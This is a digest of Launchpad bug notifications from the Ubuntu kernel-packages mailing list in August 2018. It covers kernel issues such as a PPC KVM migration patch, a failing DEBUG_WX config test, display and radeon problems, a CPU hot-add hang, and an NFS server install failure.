[Kernel-packages] [Bug 1788098] Re: Avoid migration issues with aligned 2MB THB

2018-08-21 Thread  Christian Ehrhardt 
** Description changed:

+ FYI: This blocks bug 1781526 - once this one here is resolved we can go
+ on with SRU considerations for 1781526
+ 
  --- Comment From jhop...@us.ibm.com 2018-08-20 17:12 EDT---
- Hi, in some environments it was observed that this qemu patch to enable THP 
made it more likely to hit guest migration issues, however the following kernel 
patch resolves those migration issues:
+ 
+ Hi, in some environments it was observed that this qemu patch to enable
+ THP made it more likely to hit guest migration issues, however the
+ following kernel patch resolves those migration issues:
  
  
https://git.kernel.org/pub/scm/linux/kernel/git/paulus/powerpc.git/commit/?h=kvm-ppc-next=c066fafc595eef5ae3c83ae3a8305956b8c3ef15
  KVM: PPC: Book3S HV: Use correct pagesize in kvm_unmap_radix()
  
  Once merged upstream, it would be good to include that change as well to
  avoid potential migration problems. Should I open a new bug for that or
  is it better to track here?
  
  Note Paelzer: I have not seen related migration issues myself, but it
  seems reasonable and confirmed by IBM.

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1788098

Title:
  Avoid migration issues with aligned 2MB THB

Status in The Ubuntu-power-systems project:
  New
Status in linux package in Ubuntu:
  Confirmed
Status in qemu package in Ubuntu:
  Invalid
Status in linux source package in Bionic:
  Confirmed
Status in linux source package in Cosmic:
  Confirmed

Bug description:
  FYI: This blocks bug 1781526 - once this one here is resolved we can
  go on with SRU considerations for 1781526

  --- Comment From jhop...@us.ibm.com 2018-08-20 17:12 EDT---

  Hi, in some environments it was observed that this qemu patch to
  enable THP made it more likely to hit guest migration issues, however
  the following kernel patch resolves those migration issues:

  
https://git.kernel.org/pub/scm/linux/kernel/git/paulus/powerpc.git/commit/?h=kvm-ppc-next=c066fafc595eef5ae3c83ae3a8305956b8c3ef15
  KVM: PPC: Book3S HV: Use correct pagesize in kvm_unmap_radix()

  Once merged upstream, it would be good to include that change as well
  to avoid potential migration problems. Should I open a new bug for
  that or is it better to track here?

  Note Paelzer: I have not seen related migration issues myself, but it
  seems reasonable and confirmed by IBM.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu-power-systems/+bug/1788098/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1788338] [NEW] DEBUG_WX is expected to be unset for X-KVM kernel

2018-08-21 Thread Po-Hsu Lin
Public bug reported:

It looks like this config is expected to be unset for X-KVM kernel

  FAIL: test_330_config_debug_wx (__main__.KernelSecurityConfigTest)
  Ensure DEBUG_WX is set
  --
  Traceback (most recent call last):
File "./test-kernel-security.py", line 2546, in test_330_config_debug_wx
  self.assertKernelConfig('DEBUG_WX', expected)
File "./test-kernel-security.py", line 209, in assertKernelConfig
  self.assertKernelConfigUnset(name)
File "./test-kernel-security.py", line 200, in assertKernelConfigUnset
  '%s option was expected to be unset in the kernel config' % name)
  AssertionError: DEBUG_WX option was expected to be unset in the kernel config

As in the qrt code:
def test_330_config_debug_wx(self):
'''Ensure DEBUG_WX is set'''

expected = True
if not (self.dpkg_arch in ['amd64', 'i386', 'arm64']):
self._skipped("DEBUG_WX is an x86 and arm64 arch feature only")
expected = False
elif not self.kernel_at_least('4.13'):
self._skipped('CONFIG_DEBUG_WX added/enabled in 4.13 and newer')
expected = False
self.assertKernelConfig('DEBUG_WX', expected)

However, the upstream commit (e1a58320a38dfa72be48a0f1a3a92273663ba6db)
to introduce this config can be found in Xenial kernel as well. Maybe we
should consider to change this from the test case.

ProblemType: Bug
DistroRelease: Ubuntu 16.04
Package: linux-image-4.4.0-1032-kvm 4.4.0-1032.38
ProcVersionSignature: User Name 4.4.0-1032.38-kvm 4.4.140
Uname: Linux 4.4.0-1032-kvm x86_64
ApportVersion: 2.20.1-0ubuntu2.18
Architecture: amd64
Date: Wed Aug 22 04:43:41 2018
SourcePackage: linux-kvm
UpgradeStatus: No upgrade log present (probably fresh install)

** Affects: qa-regression-testing
 Importance: Undecided
 Status: New

** Affects: ubuntu-kernel-tests
 Importance: Undecided
 Status: New

** Affects: linux-kvm (Ubuntu)
 Importance: Undecided
 Status: New


** Tags: amd64 apport-bug package-from-proposed uec-images xenial

** Also affects: qa-regression-testing
   Importance: Undecided
   Status: New

** Also affects: ubuntu-kernel-tests
   Importance: Undecided
   Status: New

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux-kvm in Ubuntu.
https://bugs.launchpad.net/bugs/1788338

Title:
  DEBUG_WX is expected to be unset for X-KVM kernel

Status in QA Regression Testing:
  New
Status in ubuntu-kernel-tests:
  New
Status in linux-kvm package in Ubuntu:
  New

Bug description:
  It looks like this config is expected to be unset for X-KVM kernel

FAIL: test_330_config_debug_wx (__main__.KernelSecurityConfigTest)
Ensure DEBUG_WX is set
--
Traceback (most recent call last):
  File "./test-kernel-security.py", line 2546, in test_330_config_debug_wx
self.assertKernelConfig('DEBUG_WX', expected)
  File "./test-kernel-security.py", line 209, in assertKernelConfig
self.assertKernelConfigUnset(name)
  File "./test-kernel-security.py", line 200, in assertKernelConfigUnset
'%s option was expected to be unset in the kernel config' % name)
AssertionError: DEBUG_WX option was expected to be unset in the kernel 
config

  As in the qrt code:
  def test_330_config_debug_wx(self):
  '''Ensure DEBUG_WX is set'''

  expected = True
  if not (self.dpkg_arch in ['amd64', 'i386', 'arm64']):
  self._skipped("DEBUG_WX is an x86 and arm64 arch feature only")
  expected = False
  elif not self.kernel_at_least('4.13'):
  self._skipped('CONFIG_DEBUG_WX added/enabled in 4.13 and newer')
  expected = False
  self.assertKernelConfig('DEBUG_WX', expected)

  However, the upstream commit
  (e1a58320a38dfa72be48a0f1a3a92273663ba6db) to introduce this config
  can be found in Xenial kernel as well. Maybe we should consider to
  change this from the test case.

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: linux-image-4.4.0-1032-kvm 4.4.0-1032.38
  ProcVersionSignature: User Name 4.4.0-1032.38-kvm 4.4.140
  Uname: Linux 4.4.0-1032-kvm x86_64
  ApportVersion: 2.20.1-0ubuntu2.18
  Architecture: amd64
  Date: Wed Aug 22 04:43:41 2018
  SourcePackage: linux-kvm
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/qa-regression-testing/+bug/1788338/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1787861] Re: Displays not detected/positioned correctly when disconnected/reconnected

2018-08-21 Thread Jonathan Watts
I really hate intermittent bugs.  The previous two times (before just
now) that I turned the AV receiver & TV back on, everything reverted to
normal (VGA-0 off, HDMI-0 on at 1920x1080 60 hz at 0x0, DVI-D-0 offset
to 1920x0).  However, just now, turning the AV receiver & TV on resulted
in:  VGA-0 on, 1024x768 at 2944x0; HDMI-0 on, 1920x1080 60 hz at 0x0;
DVI-D-0 on, 1920x1080 at 1920x0.

However, just running 'xrandr > xrandr.output3' (i.e., just outputting
the current xrandr state to a text file) caused the monitors to reset to
the correct values (although 'xrandr.output3' still showed the incorrect
values).  Running 'xrandr' again showed the correct values.

I will try to install the latest upstream kernel this weekend and see if
that makes any difference.

** Attachment added: "xrandr output after turning HDMI accessories back on 
(failed to restore previous settings)"
   
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1787861/+attachment/5178982/+files/xrandr.output3

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1787861

Title:
  Displays not detected/positioned correctly when
  disconnected/reconnected

Status in linux package in Ubuntu:
  Incomplete

Bug description:
  I just upgraded from Ubuntu 16.04 LTS to 18.04 LTS.  Previously, this
  was all working correctly:  I have 3 displays connected to an nVidia
  GT 730.  VGA-0 (an old 21-inch CRT) is never enabled (just haven't got
  around to removing it).  DVI-D-0 is the primary display, always
  connected and turned on, in 1920x1080 60hz.  HDMI-0 is a secondary
  display (actually, linked to my AV receiver and then to my 55" HDTV),
  and it is turned on when I want the big screen (1920x1080 60hz,
  positioned to the left of the primary), turned off the rest of the
  time.

  Now, whenever I turn off my secondary HDMI display, my third (VGA)
  display is automatically enabled.  Furthermore, when I then turn the
  secondary display back on, it is set to the wrong mode (interlaced at
  30 Hz instead of progressive scan at 60 Hz) and in the wrong position
  (to the right of the main display, when I want it to the left).
  Running the correct 'xrandr' command to reset all three displays to
  the correct conditions instead results in random behavior--instead of
  a 3840x1080 screen, with the primary display offset to +1920x0, I
  usually end up with both displays set to span the entire 3840x1080
  area, offset to +0x0 (so they're mirroring each other).  Sometimes the
  VGA display remains turned on with a random (not actually displayable)
  resolution, sometimes it does not.  Trying to force the displays into
  the correct mode with further 'xrandr' commands does not work; I have
  to reboot the machine to get the displays back to where they belong.

  This is the 'xrandr' command that SHOULD reset the displays to the
  correct modes/positions (the primary DVI display is already in the
  correct mode, so I don't specify that):  xrandr --output VGA-0 --off
  --output DVI-D-0 --primary --output HDMI-0 --size 1920x1080 --rate 60
  --left-of DVI-D-0

  Occasionally, it does work correctly, but most of the time, it does
  not (see above).

  Under 16.04 LTS, I did have an issue for a long time where the
  secondary HDMI display would be set to an interlaced mode when I
  turned it back on (but otherwise, everything was correct--and a simple
  'xrandr -output HDMI-0 --auto' fixed it); that problem was corrected
  with a kernel upgrade a short time ago (maybe 3 months?--
  unfortunately, I never filed a bug and just lived with it, so I'm not
  sure exactly when the problem went away, either).

  Attached is the output of 'xrandr' with everything set correctly.

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: linux-image-4.15.0-32-generic 4.15.0-32.35
  ProcVersionSignature: Ubuntu 4.15.0-32.35-generic 4.15.18
  Uname: Linux 4.15.0-32-generic x86_64
  NonfreeKernelModules: nvidia_modeset nvidia
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC2:  jonathan   2183 F pulseaudio
   /dev/snd/controlC1:  jonathan   2183 F pulseaudio
   /dev/snd/controlC0:  jonathan   2183 F pulseaudio
  CurrentDesktop: ubuntu:GNOME
  Date: Sun Aug 19 15:38:09 2018
  HibernationDevice: RESUME=UUID=e0d7d646-78bf-474b-916a-ad6f8523c1b5
  InstallationDate: Installed on 2015-08-17 (1098 days ago)
  InstallationMedia: Ubuntu 14.04.3 LTS "Trusty Tahr" - Beta amd64 (20150805)
  MachineType: System manufacturer System Product Name
  ProcEnviron:
   TERM=xterm-256color
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  ProcFB:
   
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-32-generic 
root=UUID=2cd20c22-0c69-4ae2-b81c-11fd8501a2ec ro quiet splash
  RelatedPackageVersions:
   linux-restricted-modules-4.15.0-32-generic N/A
   

[Kernel-packages] [Bug 1755393] Re: hot-add CPU cause VM with ubuntu-16.04.4-desktop-64bit and ubuntu-18.04-desktop hang

2018-08-21 Thread vmware-gos-Yuhua
This issue doesn't exist when check ubuntu18.04.1-desktop64.   
Ubuntu-18.04.1-desktop has kernel 4.15.0-32-generic.

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1755393

Title:
  hot-add CPU cause VM with ubuntu-16.04.4-desktop-64bit and
  ubuntu-18.04-desktop hang

Status in linux package in Ubuntu:
  In Progress
Status in linux source package in Bionic:
  In Progress

Bug description:
  hot-add CPU cause VM with ubuntu-16.04.4-desktop-64bit hang in ESXi

  Reproduce:
  -
  1. create VM with EFI firewall in ESXi

  2. install geustOS with ubuntu16.04.4-dsktop-64bit image.

  3. reboot it after finish installation

  4. edit VM setting and enable hot-add CPU and memory

  5. edit VM setting and set default 1 vCPU to 2

  6. open a terminal and run script to enable vcpu1: "sudo
  ~/rescanCpu.sh"

  7. check the cpu number with command "cat /proc/cpuinfo" in terminal.
  but there is not output message for this command.  click anywhere on
  VM desktop, there is no response. It seems like VM hang.

  
  From vmware developer's analysis:
  

  Looks to me like Ubuntu's problem.  It noticed at 566 seconds after
  boot that CPU1 was hot-added.  Then perhaps you run code to online
  CPU, and doing so ended up with warning at blk-mq.c:

  Mar  6 17:41:33 vmware-virtual-machine kernel: [  566.583896] CPU1 has been 
hot-added
  Mar  6 17:42:17 vmware-virtual-machine CommAmqpListener[2376]: Initializing 
CommAmqpListener
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.431990] SMP 
alternatives: switching to SMP code
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.487612] x86: Booting 
SMP configuration:
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.487616] smpboot: 
Booting Node 0 Processor 1 APIC 0x2
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.489517] Disabled fast 
string operations
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.492082] smpboot: CPU 1 
Converting physical 2 to logical package 1
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.493162] Will online and 
init hotplugged CPU: 1
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.524713] [ 
cut here ]
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.524726] WARNING: CPU: 1 
PID: 2402 at /build/linux-hwe-4GXcua/linux-hwe-4.13.0/block/blk-mq.c:1106 
__blk_mq_run_hw_queue+0x7b/0xa0
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.524727] Modules linked 
in: vmw_vsock_vmci_transport vsock nls_iso8859_1 vmw_balloon sb_edac 
crct10dif_pclmul crc32_pclmul ghash_clmulni_intel pcbc aesni_intel aes_x86_64 
crypto_simd glue_helpe
  r cryptd intel_rapl_perf joydev input_leds serio_raw shpchp vmw_vmci 
i2c_piix4 nfit tpm_crb mac_hid parport_pc ppdev lp parport autofs4 vmw_pvscsi 
vmwgfx ttm drm_kms_helper psmouse syscopyarea sysfillrect sysimgblt fb_sys_fops 
mptspi mptscsih drm
   mptbase nvme nvme_core vmxnet3 scsi_transport_spi ahci libahci pata_acpi 
floppy
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.525006] CPU: 1 PID: 
2402 Comm: kworker/1:0H Not tainted 4.13.0-36-generic #40~16.04.1-Ubuntu
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.525008] Hardware name: 
VMware, Inc. VMware7,1/440BX Desktop Reference Platform, BIOS 
VMW71.00V.7915097.B64.1802282254 02/28/2018
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.525013] Workqueue: 
kblockd blk_mq_run_work_fn
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.525016] task: 
8ab5326b task.stack: a694441d8000
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.525021] RIP: 
0010:__blk_mq_run_hw_queue+0x7b/0xa0
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.525023] RSP: 
0018:a694441dbe38 EFLAGS: 00010202
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.525026] RAX: 
0001 RBX: 8ab50b4edc00 RCX: 8ab53c662760
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.525028] RDX: 
8ab50b9cba60 RSI: 8ab50b4edc40 RDI: 8ab50b4edc00
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.525029] RBP: 
a694441dbe50 R08:  R09: 0001
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.525031] R10: 
02e2 R11: 029b R12: 8ab5310d69c0
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.525032] R13: 
8ab53c662740 R14: 8ab53c668300 R15: 
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.525036] FS:  
() GS:8ab53c64() knlGS:
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.525038] CS:  0010 DS: 
 ES:  CR0: 80050033
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.525039] CR2: 
7ff14dd7ab00 CR3: 1180a002 CR4: 001606e0
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.525140] 

[Kernel-packages] [Bug 1788336] [NEW] Failed to install nfs-kernel-server package on X-KVM

2018-08-21 Thread Po-Hsu Lin
Public bug reported:

When trying to install the nfs-kernel-server package on a KVM node
running with X-KVM kernel, it will fail with service dependency issue.

This is affecting the ubuntu_vfat_stress and ubuntu_ramfs_stress test.

$ sudo apt-get install nfs-kernel-server 
Reading package lists... Done
Building dependency tree   
Reading state information... Done
nfs-kernel-server is already the newest version (1:1.2.8-9ubuntu12.1).
0 upgraded, 0 newly installed, 0 to remove and 2 not upgraded.
1 not fully installed or removed.
After this operation, 0 B of additional disk space will be used.
Do you want to continue? [Y/n] 
Setting up nfs-kernel-server (1:1.2.8-9ubuntu12.1) ...
A dependency job for nfs-server.service failed. See 'journalctl -xe' for 
details.
nfs-server.service couldn't start.
locale: Cannot set LC_ALL to default locale: No such file or directory
locale: Cannot set LC_ALL to default locale: No such file or directory
A dependency job for nfs-server.service failed. See 'journalctl -xe' for 
details.
invoke-rc.d: initscript nfs-kernel-server, action "start" failed.
● nfs-server.service - NFS server and services
   Loaded: loaded (/lib/systemd/system/nfs-server.service; enabled; vendor 
preset: enabled)
   Active: inactive (dead)

Aug 22 03:27:46 zeppo systemd[1]: Dependency failed for NFS server and services.
Aug 22 03:27:46 zeppo systemd[1]: nfs-server.service: Job 
nfs-server.service/start failed with result 'dependency'.
Aug 22 03:27:49 zeppo systemd[1]: Dependency failed for NFS server and services.
Aug 22 03:27:49 zeppo systemd[1]: nfs-server.service: Job 
nfs-server.service/start failed with result 'dependency'.
Aug 22 03:27:50 zeppo systemd[1]: Dependency failed for NFS server and services.
Aug 22 03:27:50 zeppo systemd[1]: nfs-server.service: Job 
nfs-server.service/start failed with result 'dependency'.
Aug 22 03:29:41 zeppo systemd[1]: Dependency failed for NFS server and services.
Aug 22 03:29:41 zeppo systemd[1]: nfs-server.service: Job 
nfs-server.service/start failed with result 'dependency'.
Aug 22 03:29:42 zeppo systemd[1]: Dependency failed for NFS server and services.
Aug 22 03:29:42 zeppo systemd[1]: nfs-server.service: Job 
nfs-server.service/start failed with result 'dependency'.
dpkg: error processing package nfs-kernel-server (--configure):
 subprocess installed post-installation script returned error exit status 1
Errors were encountered while processing:
 nfs-kernel-server
E: Sub-process /usr/bin/dpkg returned an error code (1)

Log from journalctl -xe: http://paste.ubuntu.com/p/CxrWqGc2YT/

ProblemType: Bug
DistroRelease: Ubuntu 16.04
Package: linux-image-4.4.0-1031-kvm 4.4.0-1031.37
ProcVersionSignature: User Name 4.4.0-1031.37-kvm 4.4.134
Uname: Linux 4.4.0-1031-kvm x86_64
ApportVersion: 2.20.1-0ubuntu2.18
Architecture: amd64
Date: Wed Aug 22 03:28:11 2018
SourcePackage: linux-kvm
UpgradeStatus: No upgrade log present (probably fresh install)

** Affects: linux-kvm (Ubuntu)
 Importance: Undecided
 Status: New


** Tags: amd64 apport-bug uec-images xenial

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux-kvm in Ubuntu.
https://bugs.launchpad.net/bugs/1788336

Title:
  Failed to install nfs-kernel-server package on X-KVM

Status in linux-kvm package in Ubuntu:
  New

Bug description:
  When trying to install the nfs-kernel-server package on a KVM node
  running with X-KVM kernel, it will fail with service dependency issue.

  This is affecting the ubuntu_vfat_stress and ubuntu_ramfs_stress test.

  $ sudo apt-get install nfs-kernel-server 
  Reading package lists... Done
  Building dependency tree   
  Reading state information... Done
  nfs-kernel-server is already the newest version (1:1.2.8-9ubuntu12.1).
  0 upgraded, 0 newly installed, 0 to remove and 2 not upgraded.
  1 not fully installed or removed.
  After this operation, 0 B of additional disk space will be used.
  Do you want to continue? [Y/n] 
  Setting up nfs-kernel-server (1:1.2.8-9ubuntu12.1) ...
  A dependency job for nfs-server.service failed. See 'journalctl -xe' for 
details.
  nfs-server.service couldn't start.
  locale: Cannot set LC_ALL to default locale: No such file or directory
  locale: Cannot set LC_ALL to default locale: No such file or directory
  A dependency job for nfs-server.service failed. See 'journalctl -xe' for 
details.
  invoke-rc.d: initscript nfs-kernel-server, action "start" failed.
  ● nfs-server.service - NFS server and services
 Loaded: loaded (/lib/systemd/system/nfs-server.service; enabled; vendor 
preset: enabled)
 Active: inactive (dead)

  Aug 22 03:27:46 zeppo systemd[1]: Dependency failed for NFS server and 
services.
  Aug 22 03:27:46 zeppo systemd[1]: nfs-server.service: Job 
nfs-server.service/start failed with result 'dependency'.
  Aug 22 03:27:49 zeppo systemd[1]: Dependency failed for NFS server and 
services.
  Aug 22 03:27:49 zeppo systemd[1]: nfs-server.service: 

[Kernel-packages] [Bug 1788166] Status changed to Confirmed

2018-08-21 Thread Ubuntu Kernel Bot
This change was made by a bot.

** Changed in: linux (Ubuntu)
   Status: New => Confirmed

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1788166

Title:
  intrupt while coppying the files from bootabled usb

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  while coppying the files from bootabled usb it is intrupted and
  message can not copy all the files

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: xorg 1:7.7+13ubuntu3
  ProcVersionSignature: Ubuntu 4.15.0-29.31~16.04.1-generic 4.15.18
  Uname: Linux 4.15.0-29-generic x86_64
  .tmp.unity_support_test.0:
   
  ApportVersion: 2.20.1-0ubuntu2.18
  Architecture: amd64
  CasperVersion: 1.376.2
  CompizPlugins: No value set for 
`/apps/compiz-1/general/screen0/options/active_plugins'
  CompositorRunning: compiz
  CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0'
  CompositorUnredirectFSW: true
  Date: Tue Aug 21 11:54:13 2018
  DistUpgraded: Fresh install
  DistroCodename: xenial
  DistroVariant: ubuntu
  ExtraDebuggingInterest: Yes, if not too technical
  GraphicsCard:
   NVIDIA Corporation GT218 [GeForce 210] [10de:0a65] (rev a2) (prog-if 00 [VGA 
controller])
 Subsystem: Gigabyte Technology Co., Ltd GT218 [GeForce 210] [1458:34ef]
  LiveMediaBuild: Ubuntu 16.04.5 LTS "Xenial Xerus" - Release amd64 (20180731)
  MachineType: Gigabyte Technology Co., Ltd. P55-UD3L
  ProcEnviron:
   PATH=(custom, no user)
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  ProcKernelCmdLine: file=/cdrom/preseed/hostname.seed boot=casper 
initrd=/casper/initrd quiet splash --- maybe-ubiquity
  SourcePackage: xorg
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 06/25/2010
  dmi.bios.vendor: Award Software International, Inc.
  dmi.bios.version: FH
  dmi.board.name: P55-UD3L
  dmi.board.vendor: Gigabyte Technology Co., Ltd.
  dmi.chassis.type: 3
  dmi.chassis.vendor: Gigabyte Technology Co., Ltd.
  dmi.modalias: 
dmi:bvnAwardSoftwareInternational,Inc.:bvrFH:bd06/25/2010:svnGigabyteTechnologyCo.,Ltd.:pnP55-UD3L:pvr:rvnGigabyteTechnologyCo.,Ltd.:rnP55-UD3L:rvr:cvnGigabyteTechnologyCo.,Ltd.:ct3:cvr:
  dmi.product.name: P55-UD3L
  dmi.sys.vendor: Gigabyte Technology Co., Ltd.
  version.compiz: compiz 1:0.9.12.3+16.04.20180221-0ubuntu1
  version.ia32-libs: ia32-libs N/A
  version.libdrm2: libdrm2 2.4.91-2~16.04.1
  version.libgl1-mesa-dri: libgl1-mesa-dri 18.0.5-0ubuntu0~16.04.1
  version.libgl1-mesa-dri-experimental: libgl1-mesa-dri-experimental N/A
  version.libgl1-mesa-glx: libgl1-mesa-glx 18.0.5-0ubuntu0~16.04.1
  version.xserver-xorg-core: xserver-xorg-core N/A
  version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A
  version.xserver-xorg-video-ati: xserver-xorg-video-ati N/A
  version.xserver-xorg-video-intel: xserver-xorg-video-intel N/A
  version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau N/A
  xserver.bootTime: Tue Aug 21 11:30:56 2018
  xserver.configfile: default
  xserver.devices:
   inputPower Button KEYBOARD, id 6
   inputPower Button KEYBOARD, id 7
   inputOM   MOUSE, id 8
   inputSIGMACHIP USB Keyboard KEYBOARD, id 9
   inputSIGMACHIP USB Keyboard KEYBOARD, id 10
  xserver.errors:
   Failed to load module "nvidia" (module does not exist, 0)
   Failed to load module "nvidia" (module does not exist, 0)
  xserver.logfile: /var/log/Xorg.0.log
  xserver.version: 2:1.19.6-1ubuntu4~16.04.1
  xserver.video_driver: nouveau

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1788166/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1788245] Status changed to Confirmed

2018-08-21 Thread Ubuntu Kernel Bot
This change was made by a bot.

** Changed in: linux (Ubuntu)
   Status: New => Confirmed

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1788245

Title:
  [radeon] bug in the bootin of ubunut

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  [Firmware Bug]: cpu 0, invalid threshol interrupt offset 1 for blank, block 0 
(MSR0143=0XD010)
  [DRM:hwss_wait_for_blank_complete [amdgpu]] *ERROR* DC: failed to blank crtc!

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: xorg 1:7.7+19ubuntu7.1
  Uname: Linux 4.17.0-041700-generic x86_64
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log'
  CompositorRunning: None
  CurrentDesktop: ubuntu:GNOME
  Date: Tue Aug 21 11:39:34 2018
  DistUpgraded: Fresh install
  DistroCodename: bionic
  DistroVariant: ubuntu
  GraphicsCard:
   Advanced Micro Devices, Inc. [AMD/ATI] Device [1002:98e4] (rev d4) (prog-if 
00 [VGA controller])
 Subsystem: Hewlett-Packard Company Device [103c:8324]
  InstallationDate: Installed on 2018-07-23 (28 days ago)
  InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426)
  MachineType: Hewlett-Packard HP 245 G6 Notebook PC
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.17.0-041700-generic 
root=UUID=4b6c470e-c369-48f8-9fef-f65af5ba0d88 ro quiet splash vt.handoff=1
  SourcePackage: xorg
  Symptom: display
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 03/12/2018
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: F.22
  dmi.board.asset.tag: Base Board Asset Tag
  dmi.board.name: 8324
  dmi.board.vendor: Hewlett-Packard
  dmi.board.version: 22.25
  dmi.chassis.type: 10
  dmi.chassis.vendor: Hewlett-Packard
  dmi.chassis.version: Chassis Version
  dmi.modalias: 
dmi:bvnAmericanMegatrendsInc.:bvrF.22:bd03/12/2018:svnHewlett-Packard:pnHP245G6NotebookPC:pvr:rvnHewlett-Packard:rn8324:rvr22.25:cvnHewlett-Packard:ct10:cvrChassisVersion:
  dmi.product.family: 103C_5336AN HP 200
  dmi.product.name: HP 245 G6 Notebook PC
  dmi.sys.vendor: Hewlett-Packard
  version.compiz: compiz N/A
  version.libdrm2: libdrm2 2.4.93+git1808171830.f31fd5~oibaf~b
  version.libgl1-mesa-dri: libgl1-mesa-dri 18.3~git1808170730.de3b34~oibaf~b
  version.libgl1-mesa-glx: libgl1-mesa-glx 18.3~git1808170730.de3b34~oibaf~b
  version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu4
  version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A
  version.xserver-xorg-video-ati: xserver-xorg-video-ati 
1:18.0.99+git1808200734.60cd28~oibaf~b
  version.xserver-xorg-video-intel: xserver-xorg-video-intel 
2:2.99.917+git1807201025.3d3950~oibaf~b
  version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 
1:1.0.15+git1807201019.ac8f7b~oibaf~b

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1788245/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1788286] Status changed to Confirmed

2018-08-21 Thread Ubuntu Kernel Bot
This change was made by a bot.

** Changed in: linux (Ubuntu)
   Status: New => Confirmed

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1788286

Title:
  [radeon] The screen collapses after getting out of sleep

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  E): enp2s0: link becomes ready
  Aug 20 13:49:02 M51SE kernel: [  272.572110] radeon :01:00.0: ring 0 
stalled for more than 10236msec
  Aug 20 13:49:02 M51SE kernel: [  272.572126] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
  Aug 20 13:49:03 M51SE kernel: [  273.084086] radeon :01:00.0: ring 0 
stalled for more than 10748msec
  Aug 20 13:49:03 M51SE kernel: [  273.084099] radeon :01:00.0: GPU lockup 
(current fence id 0x48db last fence id 0x48f6 on ring 0)
